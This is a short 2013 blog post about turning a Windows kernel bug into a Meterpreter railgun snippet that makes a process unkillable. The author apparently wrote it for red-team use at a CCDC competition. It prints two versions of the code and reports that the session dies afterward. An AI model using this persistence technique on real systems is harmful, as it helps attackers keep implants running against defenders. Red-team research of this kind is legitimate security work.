Unkillable Processes

2013-08-10 233 words 2 minutes

Contents

Saw this post about a kernel bug in 64 bit Windows that is a DoS, it can also create an unkillable process: Blog post: http://waleedassar.blogspot.com/2013/02/kernel-bug-1-processiopriority.html

Figured I’d take a swing at making a module that I could put Meterpreter into an unkillable state. Good times at CCDC could be had.

Started with the C code for the bug: http://pastebin.com/QejGQXib along with the only resource I could find about the actual function: http://processhacker.sourceforge.net/doc/ntfill_8h.html#a6557e0dd024f0e9fa6132eb52d12810a

I came up with this:

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client.railgun.add_function('ntdll','ZwSetInformationProcess','DWORD',[
   ["DWORD","ProcessHandle","in"],
   ["DWORD","ProcessInformationClass","in"],
   ["DWORD","ProcessInformation","inout"],
   ["DWORD","ProcessInformationLength","in"],
])
processinfo = 0x8000F129
tproc = client.sys.process.open
tmem = tproc.memory.allocate(4)
tproc.memory.write(tmem,processinfo)
cpidhandle = client.railgun.kernel32.GetCurrentProcess()['return']
client.railgun.ntdll.ZwSetInformationProcess(cpidhandle,0x21,tmem,0x4)

ScriptJunkie quickly identified that I was using a DWORD for a Handle and using 4 bits for a 64 bit process (should be 8) as well as the fact that I could use a PDWORD with the ProcessInformation inout parameter instead of writing it to memory myself.

The result:

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client.railgun.add_function('ntdll','ZwSetInformationProcess','DWORD',[
     ["HANDLE","ProcessHandle","in"],
     ["DWORD","ProcessInformationClass","in"],
     ["PDWORD","ProcessInformation","inout"],
     ["DWORD","ProcessInformationLength","in"],
])
processinfo = 0x8000F129
cpidhandle = client.railgun.kernel32.GetCurrentProcess()['return']
client.railgun.ntdll.ZwSetInformationProcess(cpidhandle,0x21,processinfo,0x4)

Which results in a process that you can’t kill, but the process is also non-functioning as far as I can tell because the Meterpreter session dies.

I’m curious if with some tweaking I can get it to act much like the KillMe.exe https://code.google.com/p/ollytlscatch/downloads/detail?name=KillMe.exe

Which continues to operate just fine after the modification happens.